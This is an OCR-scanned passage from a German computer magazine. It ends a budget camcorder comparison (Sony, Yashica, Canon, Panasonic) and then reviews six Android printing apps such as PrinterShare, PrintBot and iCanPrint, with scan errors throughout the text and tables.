schen Daten 5 M Pixel a uflösen so l l ,  ent­
täuschten und konnten gegen die 2-MPixei­
Va rianten etwa von Canon oder JVC n icht 
bestehen. I m  Fotomodus  war obendrein der 
Autofokus bei e insetzender Dunkelheit von 
leichten Unsicherheiten geplagt. 

Sony HDR-CX 200 

Schon auf den ersten Bl ick fä l l t  auf, dass d ie 
On-Screen-E inb lendungen des HDR-CX 200 
sehr klein geraten sind - zu klein, um sie mit 
der Fingerspitze zuverlässig zu treffen. Wenn  
das  gel ingt, kann  man  damit erfreul ich schnel l  
- per F inger-Tipp aufs Display - Fokus oder 
Hel l igkeit sowie Weißabgleich einstel len.  Auf 
d iese Weise lassen sich d ie Bel ichtungspara­
meter auch a rretieren; anders als beim Pana­
sonie erlaubt Sony aber keinen Zugriff auf die 
Versch lusszeit Die e legante Zoom-Wippe 
lässt den Objektivantrieb etwas unvermittelt 
losrau sehen; die 30fach-Zooml inse macht i h re 
Arbeit recht ordent l ich .  Wer auf Automati k 
setzt, dem bietet der Sony-Camcorder e ine 
quas i- i nte l l igente Funktion, um das Motiv 
mögl ichst optima l  e inzufangen.  Das ge l ingt 
le idl ich gut, aber gerade bei Portraits i st man 
mit der Gesichtserkennung besser bed ient. 

Wiedergabeseitig er lau bt auch Sony, be­
sonders ge lungene Szenen zu markieren und 
d iese a l s  Fo lge wie e inen fert igen F i lm  abzu­
spie len;  a lternativ l assen sich d iese C l i ps in 
Form von Szena rios neu a rrang ieren. S ich 
mit d iesen Funktionen vertraut zu machen,  
lohnt d ie Mühe. Der Umgang m it dem Mate­
rial und die Art des Arrangements schult  den 
B l ick fü r den s ichtbaren Erfolg beim F i lmen.  

I m  Mess labor ergab s ich e in  gemischtes 
Bi ld. Bei schwachem Licht entstandene Auf­
nah men gefie len n icht; s ie  zeigten e in  
waberndes, g robfleckiges Rauschen, das per 
Aktivierung der Low-Light-Funktion im Menü 
zwar hel ler ausfä l lt, doch du rch d ie Verstä r­
kung unerwünschter S igna lantei le auch "ver­
sch l imm bessert" werden ka nn .  H ie r  ist d ie  
Auflösung ger ing und be i  Schwenks ziehen 
d ie  Objektka nten etwas nach. Bereits bei 
Woh nz immer l icht ( l ndoor) s ieht die Sache 
besser aus; jetzt kommt der  u nverwechsel­
·bare Sony-Fa rbcha rakter mit warmen Braun­
tönen zum Tragen, das Rauschen zieht s ich 
i n  d u n kle  B i l dbereiche zu rück. Bei he l lem 
Tagesl icht steht der k le ine Sony CX200 dem 
Canon R306 ka u m  mehr  nach,  auch  wen n  
d ie  Sony-C i i ps bei Schwenks noch i m mer 
etwas ausgeprägtere Artefakte und weniger 
Schärfe zeigen.  Der Autofokus a rbeitet tadel­
los und veri rrt sich kaum.  Dagegen konnte 
der elektron ische B i ldstab i l i sator n icht über-

- 77,1 - 147 - 31,0 75- - 20000 - 4,5 . 6,5 20 
- 77.5 - 122 - 21,1 90- - 17500 1 1 , 1 I 2,6 - 16000 
- 57,6 - 133 - 26,2 90- - 19400 - 9,0 - 19,8 - 10000 
- 67,3 - 202 - 57,5 30- 1 1300 - 4.5 - 16,9 - 16000 
- 56,8 - 137 - 31,2 80- - 20000 - 5.1 - 9.3 1 1 250 
- 61,4 - 177 - 36,8 60- - 13000 . 2,7 - 12.1 20 
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Ca non, 
www.canon.de 

Videosystem AVCHD, MPEG-4 
Video-Speichermedium SDXC-Karte 

Ausstattung 

Wandler-Chip (Pixel bruno, Größe in Zoll) 3 280 000,1/4,8 
max. Lichtstärke (Blende) 1 : 1 .8 
Brennweite KB-äquiv. [mm] 37-1 180 mm 
optischer I digitaler Zoom 32 (51 )fach/1020fach 
Bildstabilisator optisch 
Frontscheinwerfer 
man. Blende/Fokus/Weißabgleich v/viv 
man. Ver5chlusszeiten (Shuner) 
Sucher 
Display-Größe/Auflösung [Pixel] 7,6/76 666 
lndexübel'5icht (Bi lder) v 
Editieren im Camcorder v 
Digitalislerung Standbild 

max. Bildauflösung [Pixel] 1 920 x 1080 
Blitz 
Dateiformat Foto JPG 
Speichermedium SDXC-Karte 
Anschlüsse 

Sehninsteile zum Rechner USB 
HDMI v 
S-Video in/out - I -
Composite Video in/out - lv 
Mikrofon/Kopfhörer -lv 
Ueferumfang 

Netzteil/ladegerät vl-

Akku Laufzeit (Dauerbetrieb) 60 Minuten 
mitgelieferte Speicher 
Fernbedienung 
Software Pixela VideoBrowser 
Gewicht (m. Akku) 265 g 
Abmessungen (B x H x T) 5,4 cm x 5,5 cm x 1 1 ,5 cm 
Bewertung 

Bildqualität I Lichtempfindlichkeit (f) / (f) 
Bildstabilisator I Ton <tl / ® 
Display 0 
Handhabung I Ausstattung <t> / 8 
Foto e 
Preis 349 € 

zeugen - ausscha lten und e in Stativ verwen­
den wäre eher angesagt. 

Tonseit ig gewi nnt der Sony-Camcorder 
den Verg leich. K lare Höhen und recht saube­
re Bässe lassen den CX200 auch für Mus ikauf­
nah men geeignet ersche inen .  E in  externer 
Mikrofonansch luss wie bei teureren Camcor­
dern fehlt auch h ier. Der Sony-Akku - wie der 
des Panasonie - hä lt  i m  Verg le ich zur  Kon­
ku rrenz erfreu l ich lange; erst nach über 2 1 /2 
Stunden Dauerbetrieb ist Sch luss. 

Yashica CMHP 1 2  

Ein Camcorder, der mit eingebautem Video­
Projektor weniger kostet a ls  d ie Kon ku rrenz­
geräte ohne: Damit bringt sich die a ltbekann- . 
te Foto-Company Yashica wieder i n  Er inne­
rung. Zur I n stant-Vorführung vor g rößerem 
Pub l ikum n utzt er e ine LED als L ichtque l le, 
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i Samsung, 
www.panasonic.de www.samsung.com/de/ 
AVCHD MPEG-4, AVC/H.264 

SDXC-Karte SDXC-Karte SDXC-Karte Memory Stick Duo, SDXC-Karte 
SDXC-Karte 

550 000; 1 /6 1 300 000,1 /5,8 1 750 000; 1/4 1 500 000,1 /5,8 5 000 000,1 /3,2 
1 : 1 .8 1 : 1 .8 1 : 1 .8 1 : 1 .8 1 :2.5 
43-1 710 mm 34-1 152 mm 40-796 mm 34-840 mm 61-485 mm 
40fach/800fach 34-/2000fach 20fach/40fach 30fach/300fach 8fach/120fach 
elektronisch optisch optisch elektronisch elektronisch 
v v 
- !viv v/viv - !viv v/viv - !viv 

1/8000 - 1 /50 Sek. 

6,9/125 000 6,6/77 000 6,9/230 000 6,6/79 000 7,6/70 000 
v v v v 

v v v 

1 920 X 1 080 1 920 x 1080 3072 X 1 728 3072 X 1 728 2592 X 1944 
v 

JPG JPG JPG JPG JPG 
SDXC-Karte SDXC-Karte SDXC-Karte SDXC-Karte SDXC-Karte 

USB USB USB USB USB 
v v v v v 
- I - - I - - I- - lv - I -
- lv - lv - lv - lv - lv 
- I- - I- - I - - I - - lv 

v/- vl- v/- v/- v/-
integr. USB-ladekabel 

75 Minuten 1 60 min 1 05 Minuten 1 54 Minuten 76 Minuten 

Everio Media Browser HÖ Writer lE Intelli-Studio PlayMemories Horne Are Soft Total Media 
235 g 224 g 1 90 g  245 g 288 g 
5 cm x s,s cm x 1 1 ,6 cm 5,3 cm x 5,5 cm x 10,9 cm 4,3 cm x 5,2 cm x 1 1 ,9 cm 5,6 cm x 5,8 cm x 10,6 cm 5,2 cm x 5,8 cm x 12,3 cm 

0 1 0 o 1 e  o 1 e  
G I ® <t> / <t> ® 1 0 
0 (f) (f) 
o 1 e  o 1 e  0 / 8 
e e e 
300 € 290 € 250 € 

d ie  s ich u nter der  Opti k befindet. Es muss 
a l lerdings stockfinster sein, damit Farben in  der  
bis zu 80 Zentimeter breiten Projektion zum 
Tragen kommen; d ie Schärfe im  proj izierten 
Bi ld lässt s ich mit einem kleinen Kunststoff­
hebel n u r  m ühsam e instel len .  Sch l ieß l i ch  
l iegt d ie Auflösung des Bi ldes deutl ich u nter 
H O-Qua l ität. I n sgesamt ein nettes Featu re, 
das man derzeit vor a l lem a l s  Technologie­
stud ie  e instufen darf - auch wen n  andere 
F i rmen (etwa Sony beispielsweise im PJ 200) 
ähn l iche B i ldwerfer verbauen. 

Das a usk lappbare D isp lay kön nte etwas 
mehr Auflösung vertragen - i rgendwo muss­
te woh l  auch Yashica sparen.  Das taten s ie  
auch beim Objektivdeckel, der klassisch wie 
bei e iner  Spiegel reflex-Kamera aufgesetzt 
werden muss; bei a l len anderen Kand idaten 
sch l ießt man den Lamel lenobjektivschutz 
m it e inem kle inen Hebel .  

® / 8 0 1 0 
0 / <tl<t> 88/ 0 
0 0 
o 1 e  <tl / 0 
e (f) 
319 € 269 € 

Das Menü der  CMHP 1 2  bevöl kern zu­
meist u nverständ l iche P iktog ramme - wenn 
auch mit s innvol len Funktionen. Die schlecht 
ü bersetzte Bed ienu ngsan le i tung i st beim 
Dech iffrieren keine g roße H i lfe. Dabei bietet 
der  Camcorder d u rchaus  h i lfre iche D inge 
wie Gegen l ichtfun ktion, e inen zuverlässigen 
Wei ßa bg le ich,  Bewegungserkennung, Pre­
Record ing  oder die B lendensteuerung, die 
bei e i nfachem Tipp a uf den Touchscreen er­
scheint. 

Das 8fach-Zoom-Objektiv i st mit 6 1  mm 
KB-äqu iva lenter M in ima l brennweite recht 
telelastig ausgelegt. Offenbar haben die Ent­
wickler einen Kompromiss gesucht, um den 
g roßen 1 /3-Zoi i-Sensor mit einer l ichtstarken 
Optik zu kombin ieren, ohne a l lzu starke 
Verzeichnungen in Kauf nehmen zu müssen. 
Dummerweise d ri ngt das Summen des 
Zoomantr iebs in die Tonspur. Die Zoom-
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Camcorder mit eingebautem Projektor: Der Yashica CMHP 1 2  
eignet sich für spontane Video-Vorfüh rungen. 

Geschwind igkeit i st recht hoch - e in Grund 
mehr, be i  laufender Aufnahme die F inger  vom 
Zoom-Knopf zu lassen. Im Test vermissten wir 
einen taug l ichen Bi ldstabi l i sator und einen si­
cher a rbeitenden Autofokus. Die Schärfe sol l ­
te man am besten manuel l  e instel len; immer­
h in  ist eine Schärfea rretierung eingebaut. 

D ie Labormessungen ergaben e inen 
du rchweg zu sta rken Video-B i ldkontrast, was 
s ich i n  etwas zu d unklen B i ldpa rt ien n ieder­
schlägt .  I m  Menü lässt s ich das  - wie d ie  
Schä rfe - d re istufig ju stieren; damit  kan n  
m a n  j e  nach Aufnahmesituation d i e  Videos 
verbessern. Das B i ld rauschen hält s ich dank  
des  g roßen B i ldwand lers i n  erfreu l ich engen 
Grenzen. Mit  weit geöffneter B lende bei 
schwacher Beleuchtung bekommt man fast 
taghel le Szenen, d ie  aber du rchaus schärfer 
ausfa l len d ü rften .  

Überraschend schnitt de r  kleine Yash ica im 
Fotomodus ab. Als einziges Gerät im Testfeld 
l ieferte er überzeugende 5-MPixei-Bi lder mit 
hoher Schärfe und akkurater Abbi ldungs leis­
tung. Die F ront-LED ist - wen n  auch ohne be­
achtl iche Ergebnisse - als B l itz zu verwenden. 
Die Wiedergabelu pe ermög l icht e ine Bi ld­
kontro l le  wie beim Fotoapparat. Die Test­
fotos zeigten, dass die E lektron ik  "mitdenkt" 
- im S inne eines Verwackelschutzes. 

Fazit 

Gar nicht übel ,  was die Spar-Camcorder leis­
ten. Am Beispie l  des Canon R306 lässt s ich 
ab lesen, welche Qua l ität man fü r 350 Eu ro 
erwarten kann :  Der Camcorder zau bert bei 
Tages l icht e in  Videobi ld ,  das an  d ie Qua l ität 
deutl ich teurerer Geräte herankommt. Auch 
bei  schwacher Beleuchtung s ind d ie  Aufnah­
men du rchaus ansehn l ich, was man ü ber die 
Videos von JVC, Sony, Samsung und Panaso­
nic so nicht behau pten kann .  Obendre in  bie­
tet der Canon e ine g igantische Zoom-Opt ik. 
Wer besonderen Wert da ra uf legt, d ie  
Aufnahme-Para meter manue l l  festzu legen,  
für den kommt auch der Panasonie V1  00 i n  
F rage, der  u nter anderem m it wäh l ba rer  
Versch lusszeit g länzt. 
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Und wie steht es i m  Verg leich mit der Kon­
ku rrenz von Video-befä h igten Fotoappara­
ten und Smartphones? Bei der  Fotoka mera 
l autet d ie  e infachste Antwort:  So sch lecht, 
wie Fotoappa rate fi l men,  so sch lecht foto­
g rafieren Videokameras. Dass h ier  zwei Gerä­
tegattungen ein Doppe lnutzen u nterste l l t  
w i rd, b le ibt fast i mmer frommer  Werbe­
wunsch.  E inzig der Yashica CMHP 1 2  schießt 
im 8-MPixei-Modus  Fotos, d ie  mit denen aus  
B i l l ig-Digicams kon ku rrieren können.  

Schon d ie  untersch ied l i che Bauform do­
kumentiert aber, dass der  Fotoapparat a ufs 
ku rze, beidhänd ige Ruh igha lten, der  Cam­
corder aufs auch ma l  m inuten lange "Drauf­
ha lten" opt im ie rt ist. Gegenüber  Smart­
phones s ieht die Sache n icht wesent l ich an­
ders aus .  D ie  g uten Smartphones fi lmen 
zwar wie d ie  meisten D ig icams i n  H D, bieten 
aber wie d iese keinerle i  E instel lmög l i chkei­
ten, sondern nur Vol l automatik. Aufnahmen 
im  Gegen l icht, e in  gestaltender U mgang mit 
U nschärfe, das  Vermeiden ä rger l icher Fa rb­
verfä lschungen - a l l  das b le ibt G lücksache. 

E ines der momenta n  für F i lmer  ernstzu­
nehmenden Smartphones, das Apple iPhone 
4s,  zeichnet bei kräftiger Beleuchtung n icht 
mal  schlecht auf. Doch dem Smartphone feh­
len Dinge wie e in  optisches Zoom-Objektiv 
oder ein k lappbares Display, die kei n  ernst­
hafter Video-F i lmer missen möchte. Die Ton­
aufzeichnung reicht für verständ l iche Sprach­
wiedergabe aus, für mehr a ber  n icht. Das 
lässt s ich erst mit  e inem externen M ikrofon 
ä ndern, das man am 4s ansch l ießen kann .  

Der e igent l iche Vortei l  des iPhone i s t  -
neben der  Tatsache, dC)ss man es i m mer  
dabe i  hat - sein ei nfacher Workflow: Video­
schn itt und Versand s ind  dank  zah l re icher 
Apps kein  Problem; da müssen d ie  Camcor­
der noch h i nzulernen. Doch auf d ie  nutzbare 
Video-Qua l ität geschaut, machen d ie getes­
teten Camcorder, a l len voran der Ca non und 
der Panason ic, be i  Tagesl icht d ie  schöneren 
und dank i h res schnel len Autofokusses auch 
d ie  schärferen Aufnahmen .  Spezia l i s ie rte 
Video-Camcorder haben a lso eine Daseins­
berechtigung .  Noch. (uh)  d 
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Prüfstand I Druck-Apps 

Gma;l 

G m a i l  

Rudolf Opitz 

s:=: ' ., 
Nachrichten Anrufpror. 

'2S & Googte Docs . 
Dokumente 

Druck-Macher 
Herstel lerunabhängige Druck-Apps fü r Android 

Druckaufträge vom Android-Smartphone oder -Ta blet auf beliebige i m  
LAN oder in  d e r  Cloud verfügbare Drucker senden, e g a l  von welchem 
Herstel ler der Drucker stam mt? Das versprechen generische Druck-Apps, 
die dazu einige tech nische Kl immzüge u nternehmen und sich i h re 
Dienste zum Teil gut beza h len lassen. 

M it i Phone, i Pad und i Pod 
touch druckt man vielfach 

d i rekt aus  der  Anwendung 
heraus über  d ie Schn ittstel l e  A i r­
Pr int, d ie  Apple se inem Mobi l ­
Betriebssystem iOS spendiert 
hat. Der Herste l ler  l i stet mitt ler­
wei le  über 200 AirPr i nt-fäh ig  
Drucker auf, d ie  d ie  iOS-Geräte 
via WLAN ansprechen können.  

Goog les Android-Betriebssys­
tem feh lt dagegen e ine ver­
g le ichba re Druckfun kt ion .  Die 
meisten Druckerherste l ler  bieten 
im Play Store - dem früheren An­
d roid Market - Gratis-Apps an ,  
m it  denen man auf dem eigenen 
Mu ltifu n ktionsd rucker B i lder, 
PDFs und oft auch Webseiten 
ausgeben und tei lweise sogar  
scannen kann .  Doch erkennen 
d iese Apps i m mer  n u r  aktue l le  
WLAN-Mode l le  des jewei l igen 
Herstel lers. 

Darüber h inaus  entdeckt man 
im  Play Store auch Apps, d ie  
herste l le runabhäng ig v ie le  ver­
sch iedene Drucker und  M u lt i­
fun kt ionsgeräte ansprechen 
können .  Beispie lsweise braucht 
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man mit  e iner  so lchen App auf  
e iner  Messe oder e iner  Konfe­
renz n u r  nach den verfügbaren 
LAN-Druckern zu scannen  und  
den  passenden Treiber aus  e iner  
L iste hera u szusuchen .  S ind d ie  
Drucker  be i  Goog le  C loud 
Pr int  [ 1 ]  u nter e inem öffent l i ­
chem Account angemeldet, be­
nötigt man h ingegen kei nen ei­
genen Tre iber. Windows-Freiga­
ben erkennt  kei ne  der  Pr i nt­
Apps. 

Auch druckt n icht jede App 
a l les: E in ige sind auf bestimmte 
Datei- und  B i ldformate be­
schrä n kt, a ndere senden auch  
Termin- und  Ad ress l i sten, E ­
Ma i l s  oder  den I n ha l t  der  Zw.i­
schenablage zum Drucker. Fast 
a l l e  ersche inen zudem auf der  
Android-eigenen ,.Senden zu"­
Liste und nehmen so I nha lte wie 
Webseiten d i rekt von der jewei­
l igen App entgegen.  Siehe dazu 
die Tabel len auf Seite 1 32.  

Sechs Pr i nt-Apps aus dem 
P l ay Store haben w i r  uns ge­
nauer a n geschaut .  G rat is  s i nd  
d ie  Apps  C loud Pr i nt, d i e  nu r  

m it dem Goog le-D ienst kom­
m u n iz iert, und Cortado Work­
bench .  D ie  Vo l lvers ion  von 
,.Pr int  from Android" kostet n u r  
etwa 1 E u ro, P r intBot i st m i t  
r u n d  3 Eu ro a u c h  recht g ünst ig .  
Von beiden g i bt es e ine  Demo­
Version zum Ausprobieren.  Pr in­
terShare bekommt man a l s  Gra­
t is-Vers ion m it e inge,schrä n kten 
Druckopt ionen,  die man fü r 1 0 
E u ro fre i scha lten ka n n .  D ie  I n ­
sta l l at ion von  iCanP r i nt kostet 
n i chts, doch muss  man  jeden 
Druckvorgang über sogenannte 
,.Druckpu n kte" beza h len ,  von 
denen man vora b ein gewisses 
Kont ingent  ka uft.  A lternat iv 
g i bt es e ine u n besch rä n kte Ver­
s ion  der  App fü r happ ige  
16  Eu ro. 

D ie Apps u nterscheiden s ich 
n icht nur i m  Preis, sondern auch 
i m  F u n kt ionsumfang  deut l ich :  
So druckt ,.C ioud Pr int" - wie der 
Name schon andeutet - nur auf 
Geräten, d i e  bei dem Goog le­
Dienst angemeldet s ind .  Andere 
erkennen n u r  spezie l l e  F re i ­
gaben i m  LAN .  Ebenso g i bt es 

U ntersch iede bei den d ruckba­
ren I nha lten. 

Cloud Print 

Die App setzt einen vorhandenen 
Cloud-Pri nt-Accou nt bei Goog le 
voraus.  S ind mehrere Goog le­
Konten beim Android-System re­
g istr iert, wählt man e ines u nter 
E instel l u ngen des Hauptmenüs 
von Cloud Pr int aus. Angemelde­
te Drucker lassen s ich bequem 
verwa lten. Die übersichtl iche und 
gut dokumentierte App ste l l t  
außer dem Hauptmenü zwei wei­
tere Menüs bereit: Unter ,.Loka l" 
wählt  man e ine Quel le auf dem 
Gerät zum Drucken aus - ein PDF, 
Kontakte oder e in  Foto. Ward­
Dokumente druckt Cloud Print 
ebenfa l l s, doch erhie lten wir im 
Test öfters fehlerhafte Ergebnisse, 
etwa mit fa lschen Fonts oder fa l­
scher H interg rundfa rbe. Beim 
Versuch, Webseiten über ,.senden 
via" auszudrucken, hagelte es nur  
Fehlermeldungen. 

,.Dokumente scannen" ruft die 
Kamera auf, mit  der man bei­
spie lsweise e in  Dokument abfo­
tog rafiert und  g le ich ausd ruckt. 
Außer e iner  Zuschn ittfu nktion 
g ibt es keine B i ldoptimierungen; 
spezie l l e  Sca n ner-Apps bieten 
hier mehr [ 1 ] .  Das d ritte Menü 
,.Web" g reift auf  Daten i n  der 
C loud wie E-Ma i l s, Goog le Docs 
und  Ca lendar, P icasa und Face­
bock zu. Die Druckere inste l l un­
gen hängen vom gewä h lten 
Model l  ab :  Bei einem Epson 
M u lt ifu n kt ionsgerät BX935FWD 
kon nten wir  u nter anderem Pa­
pierformate, Qua l ität und die Pa­
p ierkassette auswä h len, bei 
e inem HP Envy 1 00 l i eßen sich 
nur Qual ität und Farbmodus vor­
geben. 

C loud Pr int ist zwar kosten los, 
nervt jedoch d u rch Werbung 
und  rege lmäß ige Aufforderun­
gen, d iese d u rch I n sta l l ation der 
App ,.Remove al l  Ads" fü r 2 Euro 
zu entfernen. C loud Print erwei­
tert die Nutzbarkeit von Goog les 
Druckd ienst erhebl i ch .  Loka le  
Drucker  müssen a ber C loud­
Print-fäh ig  und a ngemeldet sein, 
damit man mit der App vom Mo­
b i lgerät aus auf  s ie  zug reifen 
kann .  

Cortado Workplace 

Cortado ste l lt m it der Work­
p lace-App D ienste wie e inen 
E-Mai i-Account  und  2 GByte 
Webspe icher  kosten los  bereit, 
d ruckt aber n u r  a uf Drucker, d ie  
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Lokal H a u ptmenu Web 

Hi lfe Über/Store 

Einstel lungen Feedback 

Drucker- Weitere Apps 
Management 

SupPort I PP 
by paying to remov• th11• adst  thankst 

Das kostenlose Cloud Print 
druckt nur auf Drucker, die 
beim Google-Dienst 
angemeldet sind, und nervt 
mit Werbebannern. 

im  loka len Netzwerk erre ichbar  
s ind,  oder  auf B luetooth-Geräte. 
C loud-Orucker ken nt die App 
n icht. Nach Auswah l  des Geräts 
muss  man zunächst e inen pas­
senden Treiber aus e iner langen 
Li ste heraussuchen - Cortado 
l i stet ü ber  5000 Mode l le  a uf. 
Dabei handelt  es s ich meist u m  
g rößere Bü ro-Geräte, manche 
aktue l len Drucker fü r den Haus­
gebrauch sucht man vergebens.  
Da nn  b le ibt n u r, e inen Tre iber  
fü r e in  mög l i ch st ä h n l i ches 
Gerät zu wä h len .  Manchma l  
k lappt das  Drucken dam it, 
manchmal  n icht. 

Oie Drucka ufbereitu ng ü ber­
n immt e in  Serverd ienst i n  der  
C loud,  der auch Office-Dateien 
wie OOC und XLS verarbeitet 
und sogar  e ine Vorschau  a ufs 
Mobi lgerät sch ickt. Dateien las­
sen s ich vom loka len  Speicher 
oder dem Workplace-Speicher  
zum Drucken auswä h len, aber 
auch von e inem zum anderen 
kopieren oder  verschieben. E ine  
Print-Scha ltfläche feh lt, zum Dru­
cken muss man auf den Drucker­
Ei ntrag i n  der  Liste t ippen.  Oie 
Ergebnisse sehen meist g ut aus, 
E instel l u ngen wie Papierformat 
oder manue l les Ska l ieren bietet 
Cortado Workplace n icht. 

Geld wil l Cortado mit zu buch­
baren Premiu m-Diensten wie 
Fax-Versand (5 Faxe kosten rund 
1 ,50 Eu ro, 25 Faxe 5,50 Eu ro) 
oder zusätzl ichem C loud-Spei­
cher verdienen (fü r rund 2 Eu ro 
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Cortado Workplace stel lt 
zwei Gigabyte Speicher in 
der Cloud bereit, findet 
Drucker aber nur  im lokalen 
Netzwerk. 

pro Monat g i bt es i n sgesamt 
5 GByte, 1 0  GByte kosten 3 Eu ro). 

iCan Print 

Auch d ie App iCanPr int d ruckt 
n u r  auf im (W)LAN verfügba ren 
Geräten und stel lt zum Insta l l ieren 
eine lange Treiberl iste bereit. Für  
an Windows-PCs angeschlossene 
Drucker ist eine spezie l le Server­
Software notwendig,  d ie sie im  
Netz fre ig ibt. W i l l  man  einen USB­
Orucker d i rekt an das Smartpho­
ne oder Tablet ansch l ießen, 
braucht man eine spezie l le USB­
Box, d ie  der Herste l ler  für rund 
90 US-Oo l l a r  i nkl usive Steuern 
und Versand aus Ta iwan anbietet. 

Die App strotzt vor Feh lern, 
Kostenfa l len und sonstigen Ge­
meinheiten :  Schon beim ersten 
Start fragt iCanPrint zuerst e inmal  
nach persön l ichen Daten wie Ge­
sch lecht, Geburtstag, Fam i l ien­
stand und Wohnort, ä rgert du rch 
schwebende Werbeba l ken, die 
s ich vor a nzutippende Menü­
punkte schieben und d ruckt 
beim Einrichten von Druckern un­
gefragt Testseiten .  Oie "G ratis"­
App zieht fü r jeden Druckvor­
gang sogenannte "Druckpunkte" 
ab, d ie man vorher in Kontingen­
ten von 50 Punkten für einen US­
Ool lar  bis zu 500 Punkten für fünf 
Dol lar kaufen muss. Fünf "Druck­
punkte" s ind zum Ausprobieren 
vorhanden, doch verweigerte die 
App im  Test nach der ersten Seite 
jeden weiteren Druckvorgang,  

Vor dem Drucken mit iCan­
Print muss man erst Punkte 
kaufen oder knapp 1 6  Euro 
für eine unbegrenzte Version 
berappen. 

obwohl  noch vier Punkte vorhan­
den waren. Für  rund 1 6  Euro g ibt 
es immerh in e ine u nbegrenzte 
Version. 

Doch auch d ie Kaufversion ist 
n icht empfeh lenswert: I h re of­
fens icht l ich masch ine l l  e inge­
deutschten Menüs und  Feh ler­
meldungen verwi rren ("Wird d ie 
Testseite r ichtig gedruckt? Korri­
g ie ren Sie I U n richt ig .") ,  WLAN­
M u lt ifu n kt ionsd rucker erka n nte 
die App n icht, ebensowenig Pe­
Fre igaben - trotz i n sta l l ie rtem 
Server-Prog ramm.  

Auf e inem LAN-Orucker gab 
iCa nPrint B i lder  und POFs aus, Of­
fice-Dateien konvertierte die App 
vorher ins  POF-Format, ska l ierte 
die Drucke aber n icht korrekt, so­
dass Tei le der Seite abgeschn it­
ten wurden. Zum Anpassen an  
d ie Druckseite steht zwar e in vir­
tuel ler Schiebereg ler bereit, doch 
gerät d ie manuel le Justage man­
gels Vorschau zum Bl indflug.  

Print from Android 

Oie App "Pr int from Android" 
d ruckt aussch l ieß l ich auf per Ser­
ver-Software fü r Windows-PCs 
fre igegebene Drucker ü bers 
Netzwerk und  sol l mit H i lfe eines 
I P-Services wie DynDNS auch 
ü bers I nternet fu n kt ion ieren,  
was i m  Test aber n icht klappte. 
Oie App fragt zunächst nach der 
I P-Adresse des Servers sowie des 
bei der  Server-E in richtung vor­
gegebenen Ports und Passworts. 

Prüfstand I Druck-Apps 

l � ,, - 1 5 1 8  

Zur App .,Print from Android" 
gehört eine einfache Server­
Software für Windows-PCs, die 
Drucker freigeben soll . Im Test 
funktionierte das aber nicht. 

Hat d ie  Verbi ndu ngsaufnahme 
geklappt, lassen s ich theoretisch 
B i lder, PDFs und sogar Office-Da­
teien d rucken. Auch auf die Zwi­
schenablage sol l  die App zugrei­
fen, s ie erscheint jedoch nicht in 
der "Senden via"-Liste von An­
d roid,  sodass beispie lsweise 
Webseiten und E-Ma i l s  außen 
vor b le iben. 

Im  Test scheiterte der Druck 
schon daran ,  dass wir weder Da­
teien noch Datensätze etwa aus 
den Kontakten auswählen konn­
ten. H i lfe g i bt es von der App 
n icht, da "Pr int from Android" 
stüm perhaft eingedeutscht und 
n icht dokumentiert i st. Fü r  d ie 
E in richtung der Server-Software 
fi ndet man I nformationen im­
merh in  in  eng l ischer Sprache auf 
der Webseite des Anbieters. 

PrintBot 

Oie Bed ienoberfläche von Print­
Bot kommt ohne grafische Spie­
lereien aus  und wi rkt wie ein Tei l  
von Android .  Auch funkt ional  
beschränkt s ich d ie App auf das 
Wesentl iche: Sie g ibt Bi lder, POFs 
und von anderen Apps gesende­
te I nha lte auf Druckern im loka­
len Netzwerk aus .  Oie unüber­
s icht l iche Treiber l iste zäh lt rund 
3000 Model le  auf, Drucker in  der 
Cloud fi ndet Pr intBot n icht. 
Zudem scheiterte es im Test 
mehrfach, d ie im LAN vorhande­
nen Drucker automatisch zu er­
kennen, besser k lappte es bei 
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Prüfstand I Druck-Apps 

Die einfach gehaltene App 
PrintBot findet manchmal 
bereits erkannte Netz-Drucker 
und Freigaben n icht mehr. 

manuel ler Vorgabe der I P-Adres­
se des Druckers. Doch auch be­
reits erkannte und  i n sta l l ierte 
Geräte meldete die App oftma ls  
a l s  "Offl ine", obwoh l  s ie e inge­
scha ltet und von anderen Apps 
aus ansprechbar waren. 

Druckoptionen bietet PrintBot 
so gut wie n icht. Je nach Drucker­
treiber kann man wenigstens das 
Papierformat einstel len. Für  Fotos 
g ibt es led ig l ich e inen Schieber 
zum Anpassen der Größe, der 
mangels Vorschau aber n icht sehr 
komfortabel i st. Office-Dateien 
kennt die App n icht. 

Pri nt-Apps für  Android 
App Oouci Prlnt 

Anbieter Paulo Fernandes 
Preis werbefinanziert gratis 

Drucken von 

Seltenansicht (1 gesamt) 

� 1 
Drucker 

e Offleejet 6700 Premium e·AII·In· 
One 

• A4 ...;� Printer default 

Pow�reod Mobile amtx 

Als einzige App im Test 
präsentiert PrinterShare eine 
Voransicht der Druckseite. 

Die G ratis-Vers ion von Pr int­
Bot er laubt n u r  d rei Druckaufträ­
ge pro Monat. Für rund d rei Eu ro 
bekommt man d ie Pr intBot-Pro­
Lizenz, mit der s ich u n begrenzt 
d rucken lässt. 

PrinterShare 

Die flexibel ste Drucklösung  fü r 
Android he ißt Pr i nterSha re: D ie 
App erkennt Drucker und M u lti­
funktionsgeräte im  loka len Netz­
werk, B luetooth-Geräte und  
sogar  pe r  Adapter mit dem Mo­
b i lgerät verbu ndene USB-Dru-

Teco Image Systems 
1 5,84 €1 
nach Druckseiten 

JPG I PNG I GIF I TIFF v' lv' l - 1 - v' lv' lv' lv' v' lv' lv' l - Fehler 
PDF/DOC(X)IXISIDDT v' lv' lv' l - v' /v' /v' lv' v' lv' 1  lv' 1  I - Fehler 
Webseiten Senden via Senden via Fehler 

(Fehler bei Senden via) 
E·Mail I SMS Senden via I v' - I - - I - Fehler 
Kontakte I Kalender v' lv' - I - - I - Fehler I -

(Google Kalender) 
Zwischenablage v' v' Fehler 
Senden via v' v' v' 
sonstiges von Kamera 
Drucken zu 

LAN·Drucker v' v' 
WLAN·Geräte v' v' 
Bluetooth v' 
USB·Drucker 

(Zusatzgerät nötig) 
Freigaben LAN I v' I - v' lv' 
Internet 
Google Cloud Print v' 
1 konvertiert Format zu PDF 
v' vorhanden - nicht voilianilen 
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cker. Die nötigen Tre iber ver­
sucht Pr i nterShare zunächst 
selbst zu ermitte ln .  K lappt d ies 
n icht, muss man den korrekten 
Tre iber manue l l  aus  e iner  nach 
Herste l lern und Bau re ihen ü ber­
s icht l ich sort ierten Ordnerstruk­
tu r  a uswä h len .  E in ige Tre iber­
pakete lädt PrinterShare aus  dem 
I nternet nach, holt dazu aber vor­
her d ie Er laubn is  des N utzers e in .  

Druckaufträge sendet d ie  App 
a uf Wunsch auch a n  Goog le  
C loud Print. Wi l l  man n icht  netz­
